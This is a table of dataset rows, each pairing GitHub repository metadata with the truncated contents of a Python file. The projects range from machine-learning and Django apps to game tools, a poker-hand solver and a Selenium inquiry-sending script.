blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 220
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 257
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
823a562f2701ed4bfb01d324513c92806e997c63 | 8be0a2dce4702ad31a147e79c3501d92a19037b8 | /sensor/res/activity_recognition.py | 7ae2288df12d9e3f0044c99429bf89c61a8729df | [] | no_license | geochri/Human-Activity-Recognition-final-semester-project | 24ec496958752d1f5cda981d14c9471dc0b57d45 | 4b0181bbfdd4d209670acad19294fc3a1e962495 | refs/heads/master | 2020-05-31T02:09:40.802497 | 2018-07-27T14:50:43 | 2018-07-27T14:50:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,720 | py | from pathlib import Path
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from scipy import stats
from keras.models import Sequential
from keras.layers import Dense, Conv2D, MaxPooling2D, Flatten, Dropout
from keras import optimizers
import datetime
from functools import lru_cache
@lru_cache()
d... | [
"sushil79g@gmail.com'git config --global user.name 'Sushil Ghimire'git config --global user.email sushil79g@gmail"
] | sushil79g@gmail.com'git config --global user.name 'Sushil Ghimire'git config --global user.email sushil79g@gmail |
fec017b8a3c987e59ae43429ec103b5e6a3c99d3 | 49e280f7448443a2e85609a1c21dc619c08f80e6 | /post_recent/rf_OXcase_anal.py | 112b8f66d92898c894a7448df0ec030a90d623f3 | [] | no_license | livjgovob0614/w | c9062e2b9e66b37e9b5491ef73c22fe98fdecf40 | 645c75b5009ef8368699b124eda6ec661815cd09 | refs/heads/master | 2022-12-29T12:33:55.424182 | 2020-10-12T09:44:51 | 2020-10-12T09:44:51 | 301,337,216 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,262 | py | import sys, os, glob
import subprocess
os.chdir("/home/jg/kby/disasm/output/200712_232705/")
fl= []
f = open("/home/donghoon/ssd/jg/20/learning/rf/fo", 'r')
fl.append(f.readlines())
f.close()
f = open("/home/donghoon/ssd/jg/20/learning/rf/fx", 'r')
fl.append(f.readlines())
f.close()
hexf=[]
f = open("/home/donghoon/s... | [
"livjgovob@gmail.com"
] | livjgovob@gmail.com |
3438b512d8bdf0925ccf403bdf6ab92e99dacd88 | 50e475c7387dabf05a8b30fbed260e3e2e8d5fc2 | /src/id_query.py | 716387da822d6c9c6a28eef0125bbbed5bc7142d | [] | no_license | pacopink/mca_district_code | 8b5bd078313d6cf3c29da9075799795ffa037ba8 | 29a2f3f1f1019fd2b870e635911b36bf78bf35d2 | refs/heads/main | 2022-12-27T14:18:50.892298 | 2020-10-16T14:53:03 | 2020-10-16T14:53:03 | 302,510,378 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,243 | py | #!/usr/bin/env python3
import re
from data_struct import DistrictCodeDate, IdInfo, DISTRICT_CODE_FILE
genders = ('女', '男')
r = re.compile(r'\d{17}[0-9X]')
factors = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
expects = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
def get_code_map():
h = {}
... | [
"13602887904@163.com"
] | 13602887904@163.com |
187e3394d0b6b0785bd669990a1261ab0b325a6a | 9827506feaa1655c68ad88bf685ccce03d02a686 | /venv/lib/python3.6/enum.py | 42e7f3ca31565192c6da84c93a5785016df1ca0c | [] | no_license | taixingbi/django-postgres-config | 9ea53b0c117aa34605b27c9a9b06fb8cbb57669c | 00309dbe29ea528d94c00c6e6dea4ececde54d2d | refs/heads/master | 2020-04-11T17:00:51.890200 | 2018-12-15T21:32:26 | 2018-12-15T21:32:26 | 161,945,111 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 40 | py | /Users/h/anaconda3/lib/python3.6/enum.py | [
"bitaihang@gmail.com"
] | bitaihang@gmail.com |
caea2ec58c57adbd5f5dc9e9a63d8dc2b3c96220 | 85d41b34a472a2ec726b6fe9ebccc19a75159641 | /src/run_interrogate.py | c9fd70730d2eb2e009a3c248d42ab3bec617022d | [] | no_license | toontownretro/libotp | 186dacbe920b39a44840cc568cd76f1ea87ebd03 | 1ddfbd6526e88e887468c3c517a5d07dbc6e59be | refs/heads/master | 2022-12-19T10:55:28.239247 | 2020-09-14T00:59:03 | 2020-09-14T00:59:03 | 245,036,965 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,661 | py | import subprocess
import glob
import sys
import os
srcdir = os.path.abspath(os.path.dirname(__file__))
pandadir = os.path.abspath(sys.argv[1])
def run_command(cmd):
p = subprocess.Popen(cmd, stdout=sys.stdout, stderr=sys.stderr, shell=True)
ret = p.wait()
if ret != 0:
print("\n")
print('T... | [
"theclashingfritz@users.noreply.github.com"
] | theclashingfritz@users.noreply.github.com |
20fb6e8a4c8e239643488306cfbb45e6487fd668 | e2227cd3f37d0b2fa2520ea83735b057c506d51e | /LoraFTP/gps.py | 6d8eb18a893c27fd8f10c6a2a79f3beace87796a | [] | no_license | megachonker/LoRa | 49b8b87f6609462d0f33464692e928ac25cdbd60 | 0e5419bc00324675bd17257b255cb40b5c3959c0 | refs/heads/master | 2023-02-19T12:17:38.746441 | 2021-01-11T00:54:35 | 2021-01-11T00:54:35 | 271,270,687 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 627 | py | import machine # pour pouvoir géré des fichier
import pycom # pour le gestion du module pycom (dans notre cas la led)
import time # pour la gestion des temps d'attente
from L76GNSS import L76GNSS # pour le module gps
from pytrack import Pytrack # shield du modul gps
import _thread
py = Pytrack() # initialisatio... | [
""
] | |
5c60b907ad1b0faa3946a538521a15f672150fa2 | dbfa92bfa039c61268ed1d84b8fd67435a0fa25e | /main.py | b328fa7e858060db4e40f1d64d61a3ac90e180cd | [] | no_license | kravtandr/RACHKO_BOT | 9373c76ea7752c8e63c9460c71d243008e94e25a | 0e76befba8258c8437d8e84df03921ed55380231 | refs/heads/master | 2023-02-13T01:42:37.542818 | 2021-01-21T18:39:11 | 2021-01-21T18:39:11 | 280,113,875 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 17,274 | py | """
The MIT License (MIT)
Copyright (c) 2020 kravtandr
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, pu... | [
"kravtandr@gmail.com"
] | kravtandr@gmail.com |
08a37d90b3f059b2aa1dbe702641ec21a7948d61 | 2347114af7c59bf1e9fb08d94b95b8ba7332b857 | /tagz/cart/migrations/0008_remove_cart_tax_total.py | 3ee06e9840feb308f73e4a65247b0dc82b7e7ec7 | [] | no_license | NjamiGeorge/taggz | ae654cc8478b7b63deec040e9adc33a2afc6199c | c1878d2bd41971556818d4cd9f35da71d935e185 | refs/heads/master | 2022-11-25T14:45:11.955945 | 2017-10-31T03:01:31 | 2017-10-31T03:01:31 | 108,722,476 | 0 | 1 | null | 2022-11-24T05:31:27 | 2017-10-29T09:53:27 | PHP | UTF-8 | Python | false | false | 389 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10 on 2017-07-17 06:00
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('cart', '0007_auto_20170715_0050'),
]
operations = [
migrations.RemoveField(
... | [
"njamygeorge9@gmail.com"
] | njamygeorge9@gmail.com |
97d77bcca3c8bc2b45e3bfc2dd41990203cc308e | 765b2891670fbf0c72c7bdc71a0aa9957ed6882d | /includes/Crawler.py | 4eb408d2874f5dc1f88c671012ffa5f954f6f12c | [
"Unlicense"
] | permissive | koteq/hlstats_inviter | 586ad639cb90deb901dfb6c13990cd6f9d5c470c | c00253b285c8ab2810b830d780e011c0ed03cf9c | refs/heads/master | 2021-01-11T15:27:26.489588 | 2017-03-21T20:46:16 | 2017-03-21T20:46:16 | 80,348,608 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,092 | py | import logging
import urllib
import urllib2
import cookielib
logger = logging.getLogger()
class Crawler(object):
"""
Crawls the web while keeping cookies in a temporary jar.
"""
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
def __init__(self):
self.cookie_jar = cookielib.... | [
"rereflex@gmail.com"
] | rereflex@gmail.com |
99b2cbedd4464c5e7d62fdf126c0a95f084e93d5 | cb703e45cf56ec816eb9203f171c0636aff0b99c | /Dzien01/08-oop-props-static.py | f4e5aa6ff530e529ea2d973776f3e0a6924fe599 | [] | no_license | marianwitkowskialx/Enzode | dc49f09f086e4ca128cd189852331d3c9b0e14fb | 67d8fd71838d53962b4e58f73b92cb3b71478663 | refs/heads/main | 2023-06-04T20:58:17.486273 | 2021-06-24T16:37:53 | 2021-06-24T16:37:53 | 366,424,571 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 908 | py | from datetime import date
# OOP - metody statyczne, classmethods, properties
class Person:
def __init__(self, name, age):
self.name = name
self.age = age
def __str__(self):
return f"name={self.name}, age={self.age}"
@staticmethod
def is_adult(age):
retur... | [
"noreply@github.com"
] | marianwitkowskialx.noreply@github.com |
9172f47544a3ec96a3b22276472d050776365b40 | 8df5df20ac10a8dc81f7ac6e21e835553a8f5e2d | /src/sleekapps/threads/signals/thread/thread.py | 62045b0ba77e61bb8a378d1da88a8b31a5019dbe | [] | no_license | adepeter/sleekforum | 7be71907d26623c43cd78a6da77a2398c1c25e26 | 35385e648974cdf009732af4c50b69a1825f7fda | refs/heads/master | 2022-09-18T02:45:42.522128 | 2021-10-23T06:41:44 | 2021-10-23T06:41:44 | 208,669,487 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,075 | py | from django.core.cache import cache
from django.db.models.signals import post_save
from django.dispatch import receiver, Signal
from .models import Thread, ThreadView
# from ..miscs.models.activity import Action
# from ..miscs.signals.activity import activity_updater
# #
# # @receiver(post_save, sender=Action)
# # ... | [
"adepeter26@gmail.com"
] | adepeter26@gmail.com |
04ffcc70351df93f444c5dd0ab2d2ac5febc079c | 4df72b739a9ffb720091b40fda1571781f1225ef | /Python/p054.py | 5e1b3d10cd61cc7ac9cc6ddf425d935f8b7f6f81 | [] | no_license | kentfrazier/euler | e48f49170ecc5def51ec6dcfc73b01c51ba5ec7a | 21e82060128026287a84f6d455f247df6910a099 | refs/heads/master | 2021-01-10T08:19:55.219330 | 2013-03-20T05:15:22 | 2013-03-20T05:15:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,311 | py | # In the card game poker, a hand consists of five cards and are ranked
# , from lowest to highest, in the following way:
#
# * High Card: Highest value card.
# * One Pair: Two cards of the same value.
# * Two Pairs: Two different pairs.
# * Three of a Kind: Three cards of the same value.
# * Straig... | [
"kentfrazier@gmail.com"
] | kentfrazier@gmail.com |
95f948dd12b0ea9f0e2a23ae2e78206b7df829ab | ac1dc07755a7644bd2af77de53ef26c7956f1344 | /Public/HTMLTestRunner_Rewrite.py | aa14b97aca869e2945ed32dd40eb333a3488e454 | [] | no_license | yu874721995/onesPro | 5483324cc99bcafa0847bb189cac8d24a956f4c9 | 384e83b266e61baf51c63a9b85074cd63d713bd4 | refs/heads/master | 2022-12-21T03:19:04.855909 | 2021-11-24T12:15:28 | 2021-11-24T12:15:28 | 204,904,033 | 1 | 0 | null | 2022-07-29T23:27:38 | 2019-08-28T10:15:35 | HTML | UTF-8 | Python | false | false | 42,019 | py | """
A TestRunner for use with the Python unit testing framework. It
generates a HTML report to show the result at a glance.
The simplest way to use this is to invoke its main method. E.g.
import unittest
import HTMLTestRunner
... define your tests ...
if __name__ == '__main__':
H... | [
"yubei874721995@163.com"
] | yubei874721995@163.com |
aa3ef4db85fa713e0d251d91dd3b3f9531a3aae6 | 022d9bb131d5005a262b164bbc10dc0946f6cd3d | /com/migrations/0011_auto_20161130_1850.py | ca79ffb58b8a6b1da97af1b6451292cc57a197dd | [] | no_license | zoucongchao/python-django-community-web- | 1a4a6ece3f239e0caad0c5ed27c3b5aba6876fbc | d4cc1f36d1da8ff11ce464c156b0d7dd91bdfc6c | refs/heads/master | 2020-04-29T16:52:09.585386 | 2017-03-03T06:26:46 | 2017-03-03T06:26:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,387 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.1 on 2016-11-30 10:50
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('com', '0010_userprofile_co... | [
"964333698@qq.com"
] | 964333698@qq.com |
b2d861725cf2e826e44c3c5894bafdcdc3b2cdae | 40f61f3e48fa3d433d1b74678b903aad2ba60e20 | /hellojerry.py | 514fcc6921f2a79692bf2c41944e2c4befc8dbe6 | [] | no_license | dian5wenjie/Jerry | e4a122f345834953d99702fd2fe6296d1637fc99 | b587d4414f4061bbfd1019d7c407ff495e04406a | refs/heads/master | 2016-09-06T07:46:36.923474 | 2013-03-17T11:14:58 | 2013-03-17T11:14:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,992 | py | #coding=utf8
#!/usr/bin/env python
#
# Copyright 2009 Facebook
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | [
"cuiqiu.bupt@gmail.com"
] | cuiqiu.bupt@gmail.com |
a38b568d0c7e11c9ab268ee40328f38346010772 | 845c3319cdbf5d3a27a65c55e37a654045ece8e5 | /custom_django_auth_backend/backend.py | 9b8e22712a3c3f7e914f55e3f088b7496692c2f9 | [
"MIT"
] | permissive | Chiorufarewerin/custom-django-auth-backend | 5dc116f05e4682ac73897012ee3a96fc609b1fad | 89aa2330933472f8cfb13ad3c488d4347b6db128 | refs/heads/master | 2021-05-17T16:36:53.342928 | 2020-04-23T09:38:31 | 2020-04-23T09:38:31 | 250,875,466 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,409 | py | from typing import Optional, Type
from django.forms import ValidationError
from .dto import UserDTO
from .exceptions import UnavailbleException, AuthException, WrongUserPasswordException, BlockedUserException
from .settings import DEFAULT_USERNAME_PREFIX
from .logging import logger
class BasicAuthBackend:
# хра... | [
"artur1998g@gmail.com"
] | artur1998g@gmail.com |
5c14efc0e0b3c9c4b1040c89d95fd5e415c20404 | 872d8a57f0766dc34b23e1424cd7e6f7510c86e6 | /hack_api/views.py | 84242a04540aba76e7976f61e3a150af4182c6d1 | [] | no_license | ImAmanTanwar/egv-hackathon-project | 03e26b24ab1d1809bddcd47ad4f60a7410809ef2 | c115149ceee207230f103ecf8762c8b90e92268b | refs/heads/master | 2021-08-31T01:56:50.124360 | 2017-12-16T15:36:55 | 2017-12-16T15:36:55 | 114,392,102 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,963 | py | from django.shortcuts import render
from rest_framework import status
from rest_framework.decorators import api_view
from django.views.decorators.csrf import csrf_exempt
from rest_framework.response import Response
import datetime,traceback
from hackproject.models import Categories,SubCategories,Complains
import json,r... | [
"amantanwar1994@gmail.com"
] | amantanwar1994@gmail.com |
47466b53530a7e9c3f7c8c4065f831ce72d30c20 | 12abe02e205d3e8dabe78fb5a93ccca89e2c42c4 | /tools/prepare_client.py | 6e73dd03164c3faee99d8c53e13fe17142da37b8 | [] | no_license | nate97/toontown-src-py3.0 | 55092b2973b76e6b6d566887f44c52822684394c | f76c515801ae08c40b264b48365211fd44b137eb | refs/heads/master | 2022-07-07T05:23:22.071185 | 2022-06-22T16:36:10 | 2022-06-22T16:36:10 | 187,682,471 | 15 | 8 | null | null | null | null | UTF-8 | Python | false | false | 6,291 | py | #!/usr/bin/env python2
import argparse
import hashlib
import os
from panda3d.core import *
import shutil
parser = argparse.ArgumentParser()
parser.add_argument('--distribution', default='en',
help='The distribution string.')
parser.add_argument('--build-dir', default='build',
h... | [
"nathanielfuhr@gmail.com"
] | nathanielfuhr@gmail.com |
77c2182969c900ebd6dd341a5877ea6b0d7bda9c | f2f67ddfca321dd9eb6480cfe4765d3a7d241371 | /tarea7Completa.py | a51e5db9f67df0aac54ae11558ad0ab209884f90 | [] | no_license | DianaAguilarMtz/Tarea_07 | 1e1c08b42e8a25a136977b6f0583646f39c24457 | f6f74e883f268aad44844230b647b92bb4706a19 | refs/heads/master | 2021-04-06T01:54:49.987647 | 2018-03-14T22:54:24 | 2018-03-14T22:54:24 | 125,282,612 | 0 | 0 | null | 2018-03-14T22:38:52 | 2018-03-14T22:38:52 | null | UTF-8 | Python | false | false | 2,128 | py | # Autor: Diana Aguilar Mtz
# Descripcion:
#funcion 1: hace divisiones y te muestra el residuo.
def probarDivisores():
print(" ")
print("Bienvenido al programa de divisores")
divisor = int(input("Divisor: "))
dividendo = int(input("Dividendo: "))
resultado = di... | [
"noreply@github.com"
] | DianaAguilarMtz.noreply@github.com |
d1433640b2aaccd380003e310321de06c7b8b95c | cec7e0f0f7ada1e662d8bc7221e951f5215d34f8 | /django_auth/views.py | 30ba2449edb5f1086ced65e36fb5e3d735615f73 | [] | no_license | Wanke15/django_auth | d92a2f63da64a3c053780e6efe0e005964d58e0d | 5941f5fd3e8f4b6e2b763e1281db814d721c6dc9 | refs/heads/main | 2023-02-19T00:34:51.199410 | 2021-01-12T15:39:10 | 2021-01-12T15:39:10 | 329,030,416 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 474 | py | from django.shortcuts import render, redirect
from search.models import User
def login(request):
if request.method == "GET":
return render(request, 'login.html')
if request.method == "POST":
username = request.POST.get('username', "")
password = request.POST.get('password', "")
... | [
"1015005300@qq.com"
] | 1015005300@qq.com |
a5a0f83dda23889e95f693472e9a4e3bb2c874a0 | 79542b110ca0443f6a180f6f906a15f049485962 | /django-leaning/ch07/mysite/polls/views.py | f02e8ddc2bfd8445c45a16f104264e517a799592 | [] | no_license | devuser/spark-notes | 9e1c207f052eed43fae2a436f63a6ac0bad0d83b | 4429e08f66fc4dcf7502314995559c1de0d07ec6 | refs/heads/master | 2021-05-16T03:03:59.665992 | 2017-09-29T05:31:13 | 2017-09-29T05:31:13 | 42,443,800 | 20 | 2 | null | null | null | null | UTF-8 | Python | false | false | 2,046 | py | from django.shortcuts import get_object_or_404, render
from .models import Question
from django.http import Http404
from django.http import HttpResponseRedirect, HttpResponse
from django.urls import reverse
from django.utils import timezone
from .models import Choice, Question
from django.shortcuts import get_object_or... | [
"pythoner@icloud.com"
] | pythoner@icloud.com |
958cf3f290b54cc90305a031368d936cc73d933f | 146bca615b0061501ca7d4c021f592cea4820548 | /django/sample/polls/migrations/0002_auto_20170717_0920.py | 59ced813683c1b84b2ecc38eae050a94dfb5816c | [
"MIT"
] | permissive | jyodroid/python_training | abb9485bb185f9ddfd663440b94a96a0a57d470a | 7b17145faed6a005d44a08c2f72a60644705f1e1 | refs/heads/master | 2020-06-14T20:28:23.211739 | 2017-09-14T16:52:36 | 2017-09-14T16:52:36 | 75,350,329 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 430 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-07-17 14:20
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('polls', '0001_initial'),
]
operations = [
migrations.RenameField(
model... | [
"jtangarife@isf.com.co"
] | jtangarife@isf.com.co |
97cd0d9b095f822538a9db1a5b6aaa38fceb77f8 | a81b4ff2029f9e1ae0a9ff864c78a57622a49779 | /allgraphs-russian.py | 2f4816e085b139c3f401179ef47156189d2ff060 | [] | no_license | EArwa/LVfeederDERsimulation | 7b33ecbe0a3ca1db53bde2669088d219d4170821 | c04bfbd44071279a4d4f106282a8cde0877faa6f | refs/heads/master | 2023-04-18T07:21:02.468933 | 2021-05-04T18:35:25 | 2021-05-04T18:35:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,101 | py | import os
import pandas as pd
import matplotlib.pyplot as plt
pv_ev_bat_data = pd.read_csv("data/results/PV_EV_battery/04-graph-data/graph-data.csv",
sep=",", decimal=".")
pv_bat_data = pd.read_csv("data/results/PV_battery/04-graph-data/graph-data.csv",
sep=",", ... | [
"ellina.shurovsk@gmail.com"
] | ellina.shurovsk@gmail.com |
961bd3a9c5a9c94b6844fd35f9644acc5f43a6f4 | 102b692e41a2fe9880244aa29f9369c08f3260ca | /week_lunch.py | db855f008fe8970764593e0a548848b5dc0eb9ef | [] | no_license | Mamata720/if-else | 25cf74b71057067df973023dba4f0d70c5b9a89f | 1a766a10e00f6303ff8dc7c48b5f386161bd7caa | refs/heads/main | 2023-06-19T02:21:57.159225 | 2021-07-19T18:12:04 | 2021-07-19T18:12:04 | 386,961,333 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 789 | py | day=input("enter the day")
if day=="sunday":
print("poha")
if day=="munday":
print("khichidi")
if day=="thusday":
print("dal chavl")
if day==wedenesday:
print("sabji roti")
if day=="thursday":
print("kheer")
... | [
"noreply@github.com"
] | Mamata720.noreply@github.com |
02b0333d499f2b4da71514ad0918390d9f4ad32c | fb35e41ab2cc3ea65f7cdf72a3ef8b0ed9f19071 | /shop/context_processors.py | e5763a344f748ea34e86057e08439fe2ffeb9e4d | [
"MIT"
] | permissive | euanrussano/tinyshop | 61cf45e722e369fe6c9579136515f00782791718 | 263280258e55351c833064889ee847ce137dd4d3 | refs/heads/master | 2023-05-31T08:20:56.006628 | 2021-06-12T01:11:44 | 2021-06-12T01:11:44 | 376,150,008 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 642 | py | from django.conf import settings # import the settings file
def website_info(request):
# return the value you want as a dictionnary. you may add multiple values in there.
return {
'WEBSITE_NAME': settings.WEBSITE_NAME,
'PHONE_NUMBER': settings.PHONE_NUMBER,
'EMAIL': se... | [
"euanrussano@gmail.com"
] | euanrussano@gmail.com |
533e268693eea62c5bb3f69ab76a803526a65160 | ba5a6f1b6776c3503a4e6f486795ffd62a11810b | /Loja/estoque/serializers.py | 6776b5b59e391210ae635f5792ccc069004d7f4b | [] | no_license | AmaroCesa/intmed_test | 9e4e78a0dc7eb989b797ca9b5c56d94588d08193 | 1e59a365298ad33216aad5635b6df3fe98749c7c | refs/heads/master | 2021-06-13T06:44:29.943526 | 2019-05-27T02:08:47 | 2019-05-27T02:08:47 | 155,141,625 | 0 | 0 | null | 2021-06-10T20:56:24 | 2018-10-29T02:44:41 | JavaScript | UTF-8 | Python | false | false | 202 | py | from rest_framework import serializers
from .models import Estoque
class EstoqueSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Estoque
fields = ('__all__')
| [
"amaro.txt@gmail.com"
] | amaro.txt@gmail.com |
f5397c8cf5a875624c2bbafbf473044f93f85d2a | 2d0acf215e4863273075053712ff7df94775153a | /script/Main.py | 83dc303b008fba809742a9b21cefb599e2542080 | [
"MIT"
] | permissive | iOSToolsOS/json2model | 712cc187e4d057d7483088c16d0d32b930d322ef | 1b17d6b2850bf48ec93e040683ac04c36f2a7be0 | refs/heads/master | 2020-04-15T01:16:10.520583 | 2019-02-01T03:28:27 | 2019-02-01T03:28:27 | 164,269,199 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 222 | py | import JsonParser
import json
with open("jsons.txt","r") as f:
result = JsonParser.parse(f.read(), "Result")
print(result)
with open("ResultModel.swift", "w") as w:
w.writelines([line+'\n' for line in result])
| [
"shmilyshijian@foxmail.com"
] | shmilyshijian@foxmail.com |
4fb49f5467ce56af7e2012a6a1eadbe036caa6e3 | 9b8399e283014f3394f7a55e6350e4744a96441b | /Alibaba Inquiry Sender.py | bdae985a770a16170dfdcca296444d149d67b88f | [] | no_license | asimejaz14/AliBaba-Scraper | 42fc9eb78a0157a60d219ac03cdbc8ed4ee51783 | f7718d75d9e430697df2f92cd258a96fea5dddc7 | refs/heads/main | 2023-01-10T01:14:57.563299 | 2020-11-14T10:56:18 | 2020-11-14T10:56:18 | 312,797,457 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,568 | py | import ctypes
import time
from bs4 import BeautifulSoup
from pyfiglet import Figlet
from selenium import webdriver
from selenium.common.exceptions import TimeoutException, NoSuchElementException, ElementClickInterceptedException
from selenium.webdriver.common.by import By
from selenium.webdriver.support import... | [
"noreply@github.com"
] | asimejaz14.noreply@github.com |
baba91a7ec782d10e70f4645c4c4bc184b8c00af | c390fecca9aa1c4ddf4f3fd6cf202e7991992dab | /ContourPerlin.py | a13256c03be96cf4ec5df6970ced13dab8970e63 | [] | no_license | Codingmace/Island-Generator | 2411f13e76d914c17c6e188c7659839d9c83262e | 19be89e94474cfd7352e0916a50362733965d996 | refs/heads/master | 2022-02-14T21:29:52.486702 | 2019-08-18T21:24:58 | 2019-08-18T21:24:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,645 | py | import PIL, random, sys, argparse, math
from PIL import Image, ImageDraw
import noise
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--width", default=1500, type=int)
parser.add_argument("--height", default=1500, type=int)
parser.add_argument("-s", "--scale", default=200.0, type=fl... | [
"erdavids@ncsu.edu"
] | erdavids@ncsu.edu |
88d0260a7a136e03170f9a8e165482b3bf44af38 | c5c32b63d6407136bc577b6b75b6bb9648bd11bc | /onboardingapp/team/migrations/0019_additionalinfo.py | 44d7e32fbccfe91638f017c087542d67a2dbef97 | [] | no_license | elston/onboardingapp | 33adf70459797a0ce28b6178d09496d91275487f | b99f338cbed62812c069bf2e7dba781aec4ad741 | refs/heads/master | 2021-01-21T20:53:07.294200 | 2017-04-10T09:09:01 | 2017-04-10T09:09:01 | 69,735,239 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,075 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.6 on 2016-07-01 22:09
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('team', '0018_team_admin'),
... | [
"3977522@gmail.com"
] | 3977522@gmail.com |
de1019483b69941bd011ad7b7553ba4bb7c5128a | 2fcf03728f7aaee3f9f8de3dbdfdc35468e8b70a | /ReviewItems/Rew.py | 9a2b1b9f6f31ad120040dce7e8f13966c59e9f75 | [] | no_license | zolunga/PLN | 1a116242a2a085978d7ce0aa191bc147193c7e7f | 9efb5000d31e533285b9f9b5692c1184aba05628 | refs/heads/master | 2020-03-27T23:01:53.117689 | 2018-11-30T05:31:01 | 2018-11-30T05:31:01 | 147,283,097 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 5,446 | py | # -*- coding: utf-8 -*-
"""
Created on Mon Nov 19 16:28:35 2018
@author: Alan
"""
import nltk
import pickle
import re
import json
import operator
from bs4 import BeautifulSoup
from nltk import word_tokenize
from nltk.corpus import PlaintextCorpusReader
def getCorpusTokens(NameDoc, encode):
''' Obtiene los tokens... | [
"alangarcia3106@gmail.com"
] | alangarcia3106@gmail.com |
20bdec0d5bd5b987f0ea7fa1bd7a366e3ad602c9 | 4fe0726ad41024f99e969c2e73861badd907e23d | /TestAndOtherProgramsToPlayWithVSCode/hello.py | 5fb19379ebaad1ef6df2a486bf8f805b359de2cb | [] | no_license | bhattner143/StentResultCompilationForESR | ab8116a32d8bf66aea536b7e25f05980250a7ee3 | 1536c471ef099206c0aeb1c065288283b723b6a7 | refs/heads/master | 2020-08-01T10:13:53.277877 | 2019-09-26T00:18:37 | 2019-09-26T00:18:37 | 210,961,048 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 43 | py | msg = "Hello World"
print(msg)
import sys
| [
"dipankarbhattacharya@wifi-staff-172-24-62-35.net.auckland.ac.nz"
] | dipankarbhattacharya@wifi-staff-172-24-62-35.net.auckland.ac.nz |
e4db636c96c7c98f7cde1d8fff7c3cbc6e56d138 | ed7412b75887753c4b4a37b134e7b869d183514b | /taxProject/tax/models.py | 67c187744095194b4346c03291066e3bb4bb72f5 | [] | no_license | alison990222/pwc-tax-project | 4ad73dbcc3f2330bf6d4919ee515887b97fa3b2b | c065ad4d1468262ffbdbd2e959cbcf1231dc2a69 | refs/heads/master | 2023-02-24T23:36:07.836691 | 2021-01-17T15:34:58 | 2021-01-17T15:34:58 | 278,887,740 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,152 | py | from django.db import models
class TaxDatabase(models.Model):
# 商品编码
code = models.CharField(max_length=30)
# 大类
firstCategory = models.CharField(max_length=60, null=True, default=None)
# 大类id
FirstCategoryID = models.CharField(max_length=30, null=True, default=None)
# 小类
secondCategor... | [
"zhangxt0222@163.com"
] | zhangxt0222@163.com |
